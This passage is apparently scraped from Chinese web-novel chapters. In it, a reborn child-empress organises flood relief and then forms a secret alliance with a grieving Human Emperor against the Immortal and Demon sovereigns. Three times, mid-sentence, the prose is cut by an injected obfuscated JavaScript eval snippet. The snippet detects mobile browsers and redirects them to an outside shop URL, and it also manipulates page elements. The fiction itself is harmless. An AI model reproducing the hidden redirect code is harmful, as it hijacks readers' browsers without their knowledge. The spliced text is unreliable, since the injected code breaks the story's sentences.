这里确实不是说话的地方,两人都很清楚,简单交流过情况之后便不再多说,准备等私下相处时再细细回顾这段经历。 虎族族长风弄堂早已恭候多时,见两人看向自己,立刻上前来,先是感谢了琉歌救下两位幼崽,接着便请二人上暂代绣骨洲府之职的太华山。 一行人或御剑,或化为妖形腾空而起。 原本压在头顶的铅灰色积雨云已经被凤凰全部清理了个干净,经银发神女目测,起码两天内应该是不会再下雨了。 宝贵的阳光洒落大地,即使是即将归于寂静的夕阳,也让琉歌也不免侧目,目不转睛的看着。 太华山主峰半山腰,临时划出的幼崽保护处,一行人浩浩荡荡的降落,琉歌身上的衣服已经被凤凰拿凤凰火烘的干爽,几个清洁咒下去,终于没有那种黏腻闷潮的感觉了。 她坐在凤凰的臂弯里,千万条神识丝线一放一收,很快摸透了这方临时聚集地的情况。 “风弄堂,”她蹙眉,询问道:“为何只有几位金丹期在这里坐镇?而且……除了你们几位领主,这里修为最高的人竟然只是金丹中期?” “第四洲的高阶妖修呢?” 上一世第四洲也是爆发了洪水,她思索着,这应该是她上一世上位后遇到的第一件大事,为何毫无印象了? 风弄堂哑然苦笑,“大人,您身在青丘政庭,怎会不知神庭的所作所为呢?” 琉弥两人对视一眼,同时疑问出声:“神庭?” “对,第五洲那里,因魔尊残留的魔气腐蚀屏障,问情妖祖留下的屏障已经脆弱不堪,神庭强制要求妖界九洲派出多位元婴及以上的强者,加入问情妖祖旧部——赤琉璃,前往第五洲,修补屏障,对抗因魔气产生的魔物。” 对了,前世,她直接被邀请前往仙界天池,参与仙尊所设的琼寰大会。 会后,仙尊保证会替妖界监控魔族的一举一动,再不能因魔族的一己私欲,酿成妖皇陨落这般可怖后果了。 仙魔对立已久,琉歌信了仙尊的话,在回到妖界后,将第五洲内大部分被召集前来的高阶妖修送回原籍,休养生息。 她有些印象,好像是苍狼族的谁,有极丰富的水利知识,她回来后很快解决了第四洲水患的问题。 14. 人皇降临 “对了,前段时间,第五洲那里还有传言说,已经有妖族被从屏障裂隙中挤进的魔族袭击了,据说被袭击者身上会流蓝色的脓血……很是渗人。”隼族乃天空之主,有一双听风的耳朵,消息最是灵通。 琉歌倒是没有太过担忧,她知道,所谓的第五洲屏障岌岌可危不过是神庭的借口,晚枫赤狐族乃第五洲领主,魔气又大多汇聚在他们的领地,赤狐惊氏本应是控制魔气,减缓其外溢速度的主力,但……惊氏出了一个惊轶。 正神陨落,妖界陷入乱局,但妖界的混乱却成了惊轶的一股东风,他在乱局中手段百出,将政庭和神庭俱牢牢攥在手里,无数世家大族为了一官半职,或一个晋升的机会,想尽了办法讨好惊轶与赤狐惊氏。 那些世家大族甚至越过修为最高的喻未央,推举惊轶成为了妖皇未出之时代表妖界的话事人,大长老。 惊轶一时间风头无两,私下被青丘百姓唤作,“小妖皇”。 惊轶代表神庭发出召令,将那么多高阶妖族送到第五洲,就是为了将洲府晚枫内他的族人们全部接出来,接到青丘,免受魔气侵扰之苦。 真是死有余辜,琉歌淡淡的想,惊喻春三人各有各的该死之处,她连杀三位神使看起来是有点残暴了,但也算情有可原吧,凤凰仙君上来就给她扣上了暴君之名,这她是不认可的,她又没有滥杀无辜。 “好了,若真有这样的事情,第一个行动起来的肯定是青丘,”琉歌示意风弄堂展开地图,又瞟了一眼隼族族长,“而且,若魔族当真能突破屏障,那第一个进犯妖界的,必然是魔尊黎狩——那些无边的传言勿要再提,先着手解决第四洲的问题吧。” 到底是传言,隼族族长也没再在意,话头一转开始说起自己对第四洲水患的看法:“我看过人族治水,无非是导水入海和建堤拦水两条路。” 他指着地图,示意众人看向地图中的逐云山脉,“这次水患是因为悬光海来的积雨云翻过了逐云山脉,巨量的降雨形成山洪,从逐云山脉西侧冲入绣骨平原导致的,我认为当务之急是利用好现有的地形——” 危秋手一化,划过两条南北走向,基本平行于逐云山脉,最后汇入最大湖天倾泊的长河——海镜河和靛穹河。 “这两条河无疑是我们排水的关键,尤其是紧贴着逐云西侧山脚的靛穹河,正好随心大人今日清理了一波积雨云,我们何不趁着难得的晴天,赶紧加宽挖深靛穹河道,引山洪入天倾泊,再从天倾泊开入海口,排水入浮汀海?” “不妥。” 没等琉歌反驳,风弄堂先皱着眉一摇头,“因为现在的问题不只是降雨水量大了,而是这些降雨已经形成了山洪——那些被洪水从山上卷下来的沙砾,石块,巨木不计其数,在山洪威力最大的靛穹建堤坝,我觉得堤坝根本撑不了两天。” 弥随音赞成的一点头,补充道:“我清理积雨云时也注意到了,那些淤泥沙土冲到山脚,遇到的第一个阻碍就是靛穹河……若我没看错,靛穹已经快被填平了。” “可不靠靛穹的话,海镜河也指望不上啊,”危秋一撇嘴,他看起来没比苍狼族长大多少,见自己的提议被否决了也不恼,只继续提自己的想法。 “海镜相对靛穹来说,已经远离逐云西侧了,大部分河道位于绣骨平原和天倾泊平原里,流速极其平缓,想用它排水的话,我觉得指望不上。” “嗯……”琉歌思索片刻,点了点第四洲北边和围海相交的地方,“若从南边排水入浮汀海不行的话,北边呢?我看海镜河的上半段离北边的围海比较近,何不挖一道运河,引洪水排入围海?” 这次几位领主却齐齐摇头,风弄堂苦笑一声解释道:“大人有所不知,您看,逐云山脉整体为南北走向,但具体可分为上下两段,上端又向西北弯折,延伸到了第四洲北边,这导致了第四洲地势整体北高南低。” 琉歌了然,点点头,“北边地势高,开了运河水也流不过去。” “因为逐云上段这一折,还使得这座山脉像箭头一样突入了东边的悬光海,这也是东边年年降雨量巨大的原因之一。”藏纵夏年纪小,平时主管自己领地,对第四洲整体的了解不如其余两位领主,难得有他了解的地方,就顺口补充了两句。 “简而言之,现在问题有三——” 琉歌吐出一口气,将地图一合,卷成长筒状拍了拍掌心,啪啪两声吸引了所有人的目光,总结道:“一是沙石淤堵,二是天降大水,三是排涝不畅。” “光在地图上指指点点是想不出解法的,这两天,趁积雨云尚未汇聚,我会带着随心大人去实地考察。” 琉歌扫过现场众人,定下了之后的行动方针,“这场洪水波及甚广,大量兽族跟我们一样,都被逼上了太华山,虽然兽族袭击妖族的情况并不常见,但也不能断言这里绝对安全。” “隼族战力不弱,但在联合御敌,守卫阵地这一块,比向来群居的苍狼族还是欠缺了一些,藏纵夏,接下来你接替逐云隼族,保护幼崽。” 藏纵夏有些紧张,但指挥族人保卫幼崽,巡视领地确实是他的强项,于是很郑重的一点头,俯身领命,保证道:“有苍狼族在,大人请放心去处理水患事宜吧,这里定不让两位大人再操一点心。” 危秋看了眼直接领命的藏纵夏,没有异议的风弄堂和随心,有些疑惑的一歪头,不知为何几位元婴出窍期的高阶妖族要听一位幼崽的。 “大人,那我呢?”他也没纠结,拨开藏纵夏一指自己,询问到。 他有自己的子嗣,有带孩子的经验,一看琉歌就知道她不是寻常幼崽,像她这么大的正常妖族幼崽,现在应该话都说不利索,也根本不可能维持稳定的化形状态。 幼崽此时正是闹腾的时候,精力旺盛满世界乱窜,被训了就变成圆滚滚蓬松松的妖身,望着大人卖萌装乖企图逃过一顿打……反正不可能在几位领主面前发号施令,规划救灾事宜。 一个孩子若是十岁便可出口成章,周围的人会赞叹她的天才和前途无量,但若一个孩子从娘胎里刚一出来就有排山倒海之能,那周围人是不会把她当同类看的。 说不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310227|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定她是力量不足,或者核心受损的某位大人物,这才需要暂时维持幼年状态——危秋猜测。 “危秋,第四洲三位领主中,只有你有水系灵根,你又是来去迅速的翼族血脉,所以,我要你跟随心一样呆在我身边随时待命——抗洪抢险,救灾救人。” 琉歌话音刚落,弥随音随即从储物袋里掏出一枚联络用的玉牌,递给危秋,示意他和自己保持联系。 危秋接过,将自己的灵气注入玉牌,和弥随音打通了联络渠道。 “看来我要忙一段时间了,”他放出耳后翼,姿态漂亮的行了个礼,“两位大人,危秋定不辱命。” “天已经快黑了,大人今天舟车劳顿,先在这里歇息吧,明早我再带着大人实地考察。”风弄堂招手示意虎族小辈上前来,带两位大人去休息,琉歌却一抬手,拒绝了风弄堂的安排。 “从第四洲水患爆发到现在,已经快五天了,绣骨政庭除了向各方求助,本洲内是否有应急处理?”她把地图展开摊回桌面,示意风弄堂带路。 见琉歌不愿浪费时间,风弄堂也不含糊,指向第四洲最南边,回答道:“因第四洲北高南低的地势,大部分洪水最后都淤积在天倾泊,我们已经在天倾泊南部挖出了一条入海口,排水入浮汀海。” “很好,今晚藏纵夏守太华山,其余人,趁天还没黑,跟我去入海口附近。” 第四洲的情况远比琉歌想象的更严重。 辽阔的天幕间,夕阳最后一点余晖被海天一线缓缓吞噬,从高空俯瞰,卷着沙石的山洪暴虐的推平了绣骨平原,西边被太华山脉一拦,洪水便咆哮着转了个弯,携沙带石,浩浩荡荡的南下扑入天倾泊。 天倾泊本身就是湿地,水网密布,擅聚水不擅排水,那些稀少的排水口又被山洪泥沙一堵,报废了个七七八八。 简单检视过入海口之后,几人终于来到了入海口边简陋的临时休息地,“明天我跟随心会去仔细看看逐云西侧,危秋,你跟风弄堂好好配合,让所有有行动力的虎族和隼族两两搭档,仔细搜灵化幼崽的踪迹,对了,还要防水疫。” “既然灾难已经发生,接下来尽量将损失降到最低吧。” “在下明白,幼崽是希望。”两位领主再次一行礼,这才告退。 弥随音合上门,长舒了一口气,“终于可以休息了吗?你今天忙了一天,感觉怎么样?” 他等了半天没听到琉歌的回应,一低头,却发现琉歌面色沉沉,盯着门外。 弥随音眉间一跳,一股和他相当,同属于上古神兽的气息骤然在门外荡开! 琉歌猛地后退一步,将弥随音往后一拽,同时一抬手,掌心白光闪过,下一刻,一个倒碗形的半透明空间霎时出现,将休息用的简陋小院完全笼了进去! “空间……空间权柄……”嘶哑低沉的男声在门外响起,下一刻,仿佛刹那间数万年的时光在木门身上流过,脆弱的木门在琉歌随音面前缓缓化为黄土轻沙,随风消散而去。 “就是你,杀了我的问情……我的迢迢吗?” 15. 三垣盟誓 鼎新历(旧历)记载,129年,妖都青丘被攻破,凤凰仙君弥随音为先锋,劝降妖皇轩辕琉歌无果后,不忍妖界无辜百姓再受其毒害,与魔尊配合成功杀妖皇,自己却也被妖皇重伤,最终重伤不治,亡于青丘。 魔尊正式接管妖界,下令改鼎新历为魔律历。 自此,海晏河清。 ——记录官,魔尊第一魔侍,风无痕。 第四洲,天倾泊最南端,妖界刚刚赶工出来的入海口处,弥随音神色凝重,长剑已落入掌心,出鞘半指,在月光下闪烁着寒芒。 “她已经不是你的迢迢了,她是我们的轩辕问情,用你们人族的语言,应该译作……以烈日之姿开辟一切的业火红莲。”琉歌抬手维持着空间的存在,面对不知为何可以绕过屏障闯入妖界的人皇,她的语气居然诡异的温和。 “很不幸,人皇,她已经身化天地,与妖界同在了。”她余光往后瞟,注意到了身后弥随音的紧张,于是伸手拽住了他的衣摆,“这是一个没有任何人可以预料,也没有任何妖族希望看见的悲剧。” 人族没有统一的语言,但妖族是有统一的通用语的。妖族通用语之下,又根据地域和种族分为不同的偏言。 妖族将这冗长的名号进行了简化,以方便平时沟通,人族又对妖语简化后的称号进行了音译,这才得到了轩辕问情四个字。 同理,琉歌的名字也有对应的一段冗长的妖族原句。 对了,轩辕琉歌的名号是谁给她起的? 在这剑拔弩张的氛围下,弥随音忽然走了个神,灵感如一尾游鱼在他识海一晃而过,他皱眉,没抓住那一闪而逝的微妙错位,却突然记起了琉歌名号的妖语原文——以铁与血重铸秩序的引路星。 ——对人皇来说,这两句话难称安慰,简直就是挑衅。 “身化妖界,与天地同在了……”月光下,一头墨色长发的男子抬眼,他的发色和瞳色都极其特殊,眼瞳是雾蒙蒙的深灰色,像幽长深邃,永远笼罩着浓雾的峡谷,让人不敢细看。 偏偏瞳孔外圈还有一圈明亮的金色镶边,细看下,这金色还在点点往灰雾一样的内瞳渗透,更显出一种神性的冷淡。 一柄扇面扇骨皆是纯黑的龙鳞骨扇落于他掌心,“你知道吗,若我在这里杀了你,无主的妖界很快便会被人界吸引,吞噬,回收——只要妖界回来了,我掌控着地脉,迟早能再次唤醒问情。” 人皇骨相优越,面部线条偏柔和,初见给人的印象是和凤凰相似的冷美人,但凤凰冷的渺远,真正靠近他时就能体会他的温度。人皇却像一股刮骨的寒风,既不温和,也不温柔,站在他面前,除了遍体生寒的恐惧,再生不出第二种情绪了。 凤凰脸色彻底冷了下来,他上前半步将琉歌完全笼在自己的保护区内,“未经邀请之下,一位神族擅闯另一位神族的领地,可被视为宣战。” “人皇,你若胆敢在这里对琉歌出手,我一定杀了你。” 高天之上,仙界九重天最高处,冰冷层叠的亭台楼阁间,仙界之主轻笑着拦住了面前持剑的男子,“怕什么?他是人皇,你是魔尊,你们等级相当,在魔界,在你自己的地盘上,你还能输了不成?” 仙界之主,仙尊梅若君,有一身小麦色的肌肤,不知为何,他用黑色的面纱完全拢住了下半张脸,露出的眼瞳是丰收时节麦浪一样饱满的金黄色。 魔尊黎狩身材高大,肌肉线条起伏明显,怀里抱着一柄两掌宽,大半个人高的重剑,闻言冷笑道,“既然仙尊这么自信,你怎么不去打审判者?” 他的眼瞳和寻常魔族并不不同,都是血红色,没有眼白和眼珠之分,只有一片混沌的血红。 仙尊仙庭内处处明亮,光打在他披散后背的长发上,此时若有人凑近细看,便会惊觉他的头发宛如活物,像是太阳下将凝未凝的血,呈现一种粘稠质地的暗红色。 “那个疯子……刚成为人皇,就得到了开天辟地独一遭的双权柄,杀仙魔无数。” 黎狩身披墨色斗篷,整个头脸都笼在阴影里,让人辨不了他的神色,“现在第二任妖皇已经向五界宣告了祂的诞生,同个位面只会存在一位神族,我们杀问情的事不可能再瞒住了。” “我又被问情重伤,绝不可能是这杀神的对手……” “仙尊,你再不出手,就要失去一位可靠又诚信的盟友了。” 梅若君起身,缓缓踱步,眼不错珠的路过魔尊身旁,跨过门槛,注视着几乎就悬于他头顶的一轮皓月,“不必担忧,我的盟友,只要他敢来找你,我就有把握……让天道亲自惩戒这位傲慢的人皇。” “最好如此。” 月光穿过仙界九重天,穿过透明的妖界屏障,穿过太华山脉婆娑的树影,打在波光粼粼的天倾泊里,也投到了天倾泊边对峙的几人身上。 “不好意思,大话就到此为止好吗?”一道人形黑影瞬移般霎时出现在弥随音身后,一手扣住他的后颈迫使他仰头,下一息,一柄龙鳞磨制的墨色短匕已经对准了他的颈侧,“好久不见了,弥随音。” 弥随音眉眼低垂,神色冷淡,“你打招呼的方式真是一如既往的独特。”金红色的凤凰火蓦的从他周身冒出,他抬手以两指夹住匕首尖端,指尖略一用力,直接掰断了龙鳞匕首! “……人皇神使,和弥随音同属混沌四仙兽之一的烛九阴,祝商序。”琉歌握着他的衣摆,报出了身后黑影的名号,弥随音衣摆上灼烈的燃着凤凰火,琉歌却没感到任何不适,她便没有松手,继续牵着。 祝商序掌心被凤凰火灼的焦黑,疼的他“嘶嘶”倒吸凉气,时间权柄的能量波动一闪,这才消弭了凤凰火造成的伤害。 “弥随音,我以为你要在仙界闭关一辈子呢,现在怎么在妖界带孩子?你不会跟我一样,要捞个神使之位玩玩吧?”祝商序将缺了头的匕首在手里舞的宛如翩跹蝴蝶,目露玩味的盯着凤凰仙君,问道。 结果现场没人搭理他。 “冷静下来了吗,人皇尊上?” 琉歌注视着面前离崩溃只隔一线的黑发人皇,语速缓慢,语气悲悯,“我可以告诉你是谁杀了轩辕问情,但你要怎么做呢,立刻去为她报仇,为了一己私欲动用权柄,然后接受天道的惩戒吗?” 神族以权柄的形式掌管着不同方向和领域,如人皇的时间和审判权柄,魔尊的吞噬权柄。 权柄乃天道的馈赠和延伸,天道分割自己的权限赠与神族,神族也只能在天道许可的范围内使用权柄。 这个范围很直白,就是不能为了一己私欲大肆动用权柄,若越过这条红线,天道便会亲自降下惩戒,或禁足,或雷劫,或直接收回权柄,剥夺神族身份。 上一世,琉歌不愿与明显精神已经不正常的人皇纠缠,将魔尊杀了问情的消息告知于他,人皇提刀入魔界要杀魔尊,却被躲在暗处的仙尊出手重伤,下意识之下动用权柄——权柄引来了天道注视。 人皇虽没有被直接剥夺权柄,却也承受了代表天道怒火的雷劫,后被罚禁足苍梧山三万年。 琉歌这才惊觉仙魔早已联手。 但那时一切都迟了,仙魔解决了战力最强的人皇,直逼妖界而来!仙魔联手之下,根基浅薄的妖界根本不是他们的对手。 她本想去冥界寻冥主兰因以求联合,却被告知,因为独掌阴界,兰因从诞生起便被天道限制,不能插手任何阳界事务。 人皇是聪明人,他仰头,艰难咽下满嘴苦涩的悔恨,声音轻的像天边飘过的一片雪花,风一吹,转瞬便渺无踪迹,“你想跟我说什么?” “弥随音,带客人去远处饮杯茶水吧。”她没有立刻开始,反而先仰头,笑盈盈的推了推凤凰仙君。 弥随音自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310228|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然不可能同意留她一人面对人皇,立即皱眉拒绝道:“我跟你一起。” “师尊,人皇高风亮节,杀问情妖祖的又不是我,肯定不会对我出手的。”她语气含笑,撒娇般轻声祈求:“我总会独立面对这些事的,不是吗?” 人皇一个眼神,祝商序得令,解除了笼罩在周身的黑雾,瞟了弥随音一眼,从房顶跳下来,率先走向琉歌的空间屏障之外。 “你疯了!放着好好的人界半神不当,要去和那些湿生卵化的邪魔外道混在一起?!” 问情好战喜战,有野兽般的直觉和战斗天赋,她表达厌恶的手段是打架,表达好感的手段还是打架。 铭榕有时想,除了她召唤出来的四象神兽,不知道还有没有别人能适应她的性子了? 谁知,她下山一趟,竟将整个妖族都聚到了身边。 现在想来,兄妹间为数不多的几次撒娇,居然都是为了妖族的事情,人皇怔怔望着一轮皓月,听着弥随音半跪在地,细细嘱咐着琉歌什么。 他那时只觉得人族的权威和正统受到了莫大的挑衅,冷声斥责问情的天真——“别白费心思了,妖族永远无法成就正统!” 问情墨色的长发在脑后绑着一个利落的马尾,她瞪大眼睛,不可思议的望着铭榕:“好奇怪的话,哥哥,你怎么会说出这种话呢?傲慢遮住了你的眼睛。” “邪魔外道?”问情笑着,眼神却悲伤,“湿生卵化之辈?” “这是您第一次在我面前表达对妖族的不喜,也对,妖族生来就和人族摩擦不断,确实令人头疼。但哥哥,妖族存在的意义绝不是被人族奴役!” “你们人族认可的正统是什么样的,出一个天道认可的神族算吗?好!那从今天起,自我之后,妖族便是正统!——我来为这世上的万万妖族,蹚出一条正道!” “铭榕,现在的人族,和当年奴役人族的仙魔又有什么区别呢?” “大道万千,凭什么人族才是正道?” 问情一句一句缓缓问着,问尽心中不解,却并不指望从兄长嘴里得到答案。 她最后看了铭榕一眼,裙裾飞扬,转身踏进那片灵气浓郁,渺无人烟的广袤大地,她身后,无数妖族嚎啕着,大笑着追随问情扑向新生—— “兄长,凭什么人族一出生就在正道上呢?凭什么妖族就算已经和同族割袍断席,生剥一身羽翼和皮毛,还是不能被人族认可呢?兄长,你是神族,当年圣女被剥胎示众时,你又为何代表人族,发誓要斩尽仙魔呢?” “兄长,我要去走我的正道了!我们……后会无期。” 她明明一口一个兄长,铭榕却觉得如坠冰窟,浑身都冷了下去,他能感觉到,他和问情之间的联系正在不断减弱,咔哒,咔哒咔哒……一声接着一声,越来越快,仿佛无情的嘲弄着人皇,嘲笑他自以为是的判断,嘲笑他们之间脆弱如琉璃的关系。 空间之门轰然关闭,化为齑粉消散天地间。 他再也感受不到问情了。 弥随音到底不会忤逆琉歌的意志,虽不放心,但还是离开了。 琉歌望着人皇,慢条斯理的将右手衣袖卷了上去,月光下,无数层层叠叠缠绕着她右臂的红线缓缓显现。 那散落的红线……人皇眉头一皱,忽然在上面感受到了和他同源的力量—— “这是……这是你的,权柄?”铭榕瞳孔骤然紧缩,“你也拥有双权柄!?” 琉歌笑而不语,冲人皇抬起右手,月光照亮了她右臂被小心遮掩的秘密—— “这是,我亲手刻下的,分割时间权柄的阵法……”人皇呼吸抖了抖,他终于意识到了什么,“原来如此,你我联手将时间回退了——你早就知道我会来找你?” “欢迎回来,我最可靠,最强悍的盟友,”琉歌笑着冲人皇伸出手,“欢迎回到三垣盟誓。” 16. 因为我曾杀过他一次 “三垣盟誓?”人皇一时间心思百转,“三垣在星象代指,紫薇垣,天市垣和太微垣。也就是说,除你我之外,应该还有第三位神族参与了——” 他轻轻握了握琉歌伸出的手,一触即分,琉歌手臂上铭刻的时间阵法,在时间权柄的召唤下化为道道红线,回归对面人皇的掌心。 人皇微垂着眼,他似乎已经冷静了下来,走出了刚刚得知问情陨落时的那股悲痛劲,因为只有虹膜没有瞳孔,所以琉歌总是很难分辨他灰雾般的视线落在何方。 “第三位神族,是谁?”他试探的猜测:“仙尊梅若君?” “不,恰恰相反。”琉歌收回手,冷笑道:“是冥主兰因。” 铭榕骤然抬眼紧盯着琉歌,确认她并未开玩笑后,心跳陡然漏了一拍! “仙魔联手了。”他立刻反应了过来,随即蹙眉,只觉得匪夷所思,沉声反问:“这,这不可能……灵气中清而纯的部分上升,聚成仙界,浊而杂的部分下降,凝成魔界——仙魔两族天生便水火不容,他们怎会联手?” “确实,仙魔两族间隔着数万年血海深仇。” 琉歌一摊手,摆出促膝长谈的架势,“先是魔祖刑微雨,趁初代仙尊尚未诞生时派兵偷袭仙界,这一场位面混战反而促成了初代仙尊梅若君的诞生,刑微雨也被仙尊重伤,退回魔界。” 铭榕跟在她后面,补充道:“后来,黎狩吞噬刑微雨成为第二代魔尊,梅若君又派仙族进攻魔界,这一战前段时间方才鸣金收兵,两族皆是死伤惨重。” “所以最开始,我也从未想过仙魔会联手,因为这两族之间,光是神族直接下场的位面之战就有两场,更别说这万年间,大大小小的各种冲突和摩擦了……那可是万年不化的深仇血恨。”琉歌摇摇头,只是示意他看阵法里铭刻的记忆。 那是人皇,妖皇和冥主三位神族共同剖开识海,填入其中的三段记忆——为了防止其余两人对记忆进行造假或者虚构。 这个阵法铭刻完成后便被人皇封存在琉歌身上,即使是现在,人皇也只有阅读权,没有修改权。 若要强行打开,这个阵法会立刻压缩到极限,销毁三神存储其中的记忆,那庞大的,三神共存的精神力近距离爆开,无论想强行打开的是谁,都够那人吃不了兜着走了。 人皇一目十行,走马观花般看完了所有储存其中的记忆。 “……我被禁足,仙魔联手之下,妖界根基尚浅,也不是对手,冥主掌握着轮回和赦免双权柄,这两权柄都不擅长战斗,祂又被天道限制,大部分阳界事务祂是无权干预的。”铭榕长长吐出一口气,“已经是彻底的死局了,怪不得我们三个,剑走偏锋要回溯时间。” 他摩挲着阵盘,不用琉歌多说什么,稍加思索便将其中的关窍想通了个七七八八:“兰因以轮回权柄为钥匙打开了时间长河,我再催动时间权柄推动时间长河逆流,回退了一百年时间……” “但时间长河内的时空不是一成不变的,一点细微的转变,就会让时间长河生出新的分支,你是如何在众多时间分支中,精准定位了我们所在的世界的?” 琉歌闻言指尖一勾,自虚空中勾起一段鲜红的红线,“人皇,我的权柄,是因果。” “因果权柄最擅长的就是追根溯源——在时间长河里,这就是最完美的锚点。在纷乱交织的时间歧路上,找到我们的时间线,对我来说轻而易举。” 她笑着将那根红线扯出虚空,掌心一推,推到了人皇面前,人皇握住的一瞬间,忽然又想起了他的迢迢。 “问情……在成为妖皇之前,在我身边度过了近万年的幼年期。”他深吸一口气,强压下内心翻涌而起的恨意,继续道:“我给她取名迢迢——意思是,震古烁今,千里迢迢来到我身边的宝物。” “因果,因果——”月色下,人皇忽然抬眼注视着琉歌,皎白的月光打在漆黑的长发上,黑与白在他身上撞出一片静谧而诡谲的鬼气。 “若你的权柄是因果,你是否能告诉我,我的迢迢……我的迢迢最后是怎么想的?” 琉歌很清楚,无论前世今生,人皇一开始的目的,就是奔着杀她来的。 当然,若有一个能杀人皇,吞噬人界的机会摆在她面前,犹豫一秒都是对神族身份的不尊重。 她毫无惧色,顶着人皇逐渐恐怖的威压和逐渐崩溃的脸色,就这么安静的望着他,等着他将话说完。 “所有人都很清楚,她跟我一样,生于人界地脉,是我最宠爱的妹妹……她若是没有被妖族引诱着走上这条邪路,她就是一生无忧的半神!我的职能,权柄,力量全部可以与她平分……告诉我,告诉我因果权柄可以解释这一切,可以给我一个答案!” “她那么决绝的跟我割袍断席时,她与我切断了一切联系,以至于被仙魔悄然围攻,连消息都传不出来时……她最后选择自爆妖丹,以真身化为屏障也要保全妖界时——告诉我,告诉我……她想到我了吗?她后悔了吗——她究竟知不知道,我从未想伤她!” “我至今仍在想那场人妖之战……我最后向她挥出的那一剑,究竟是我自己的意志,还是人族意志的集合与选择?”铭榕再也难以忍耐似的伸出右手,瞄准琉歌的脖颈,鬼使神差的,他一抬眼,却见琉歌墨紫色的眼瞳里满是嘲弄的笑意。 咚!咚!咚!! 心跳越来越剧烈,越来越夸张,几乎要撞破胸膛,要跳到桌上,要沐浴在月色里冷静一下才好。 “冷静下来了吗?”琉歌笑盈盈的一歪头,支在桌上的手隔空一握,无数在月光下闪着金属般色泽的锋锐细线,这才缓缓虚化,从人皇身边慢慢散开,回归虚空了。 这里是琉歌的空间,琉歌的领域——她不一定战无不胜,但尝试的代价,现在的人皇付不起,也不想付。 他今天并非来决一死战的,在领域里挑战琉歌的权威,实在愚蠢。 她幼童的姿态太过孱弱,竟下意识间将他也迷惑了。 “你得权柄审判,将为祸人间的仙魔全部赶出人界,被封为审判者。”琉歌冷冷注视着他,终于开口打破了静谧,仙魔两族之间满是血海深仇,人妖两族之间又何尝不是? “你知道我们是如何形容问情妖皇的吗?” 妖族寿命漫长,平均可达一千年,妖族独立至今也才20多年,也就是说,现在顶梁柱的一批妖族,和被人族伤的最惨的妖族,是同一批。 和人皇合作本就已经瞒着妖族众人了,人皇若不识好歹…… “她开辟妖界,救万万妖族,是五界所有生灵都无可否认的——开辟者。” 琉歌注视着怔然出神的人皇,语气肃然:“人皇,你何时才能意识到,她已然与你平等。” “就像妖族已然与人族平等。” “你没猜错,你的疑问,因果权柄确实可以解答部分……但这个人,并不是我——” 她一边说着,一边动作和缓的抬手,之前递给人皇的那一缕红线在月光下缓缓浮现,血染的一般,透出一股饱浸鲜血的煞气。 它围着人皇手腕虚虚环绕两圈,紧接着,向着琉歌延伸,再延伸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310229|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她手腕上虚绕一圈,却没有停下,而是直奔她身后,两位神族都肉眼不可见的虚空去了。 这表明,那个影响人皇因果的生命,现在还不存在于世。 “你看到了,这根红线连到了我的身后——可能是我的继任者,或者我的孩子——铭榕,请你耐心等待,等到那个可以回答你的人出现,我向你保证,会把祂……送到你的身边。”琉歌合手,将那根红线递到了人皇面前。 妖族重视子嗣,若说幼崽是希望,那雌性就是根基。 母亲这个身份在妖界,代表着天然的,对自己所诞育的幼崽具有的生杀予夺的权力。 “好……”铭榕灰雾般的眼瞳颤抖片刻,最终还是闭眼颔首,将满口苦涩的悔恨强行咽下。 “为了这个答案,我将配合你之后的所有计划,从此之后,不损害人族利益的一切要求——都将……如你所愿。” “我唯一的要求是,我要亲手杀了仙尊和魔尊,为我的迢迢报仇。” 他深深吐出一口浊气,“这个阵盘我会想办法带到冥界,让冥主兰因看到,提醒祂小心已然联手的仙尊和魔尊。” “接下来,你准备怎么做?”铭榕问道:“对了,为何凤凰会跟在你身边?” 琉歌蹙眉沉吟片刻,缓缓道:“仙尊的权柄名唤化虚,具有化实为虚,变虚为实的能力,真真假假,最是诡谲,我的建议是,你,我和兰因,都不要去这次的仙界举办的琼寰大会,免得被他暗算,旁生枝节。” 人皇却觉得不妥,他收起红线,和琉歌敲定接下来的行动大致方针:“三神都不去固然可以避免暗算,但也太诡异了,容易引仙尊怀疑。冥主对这些虚幻的能量研究最深,我想,在我和祂都有防备的情况下,仙尊就算想做什么,成功率也不大。” “你要做先锋,我不拦你,但一切小心,随时和我联系。” 琉歌对人皇的实力还是信任的,前世在不知仙魔联手的情况下,他身处魔界,在魔尊的地盘上,还差点成功反杀两神,今生她缺乏力量所以处处谨慎,人皇确实没必要如此小心翼翼。 “至于弥随音……他就是个意外,但他既然都出现在妖界了,我也不能直接放他回仙界,只能带在身边,试试看能不能让他成为妖界的一大战力了。”两人打通沟通渠道后又简单商量了一下之后具体事宜,这才撤去空间屏障,向祝商序和弥随音所在处而去。 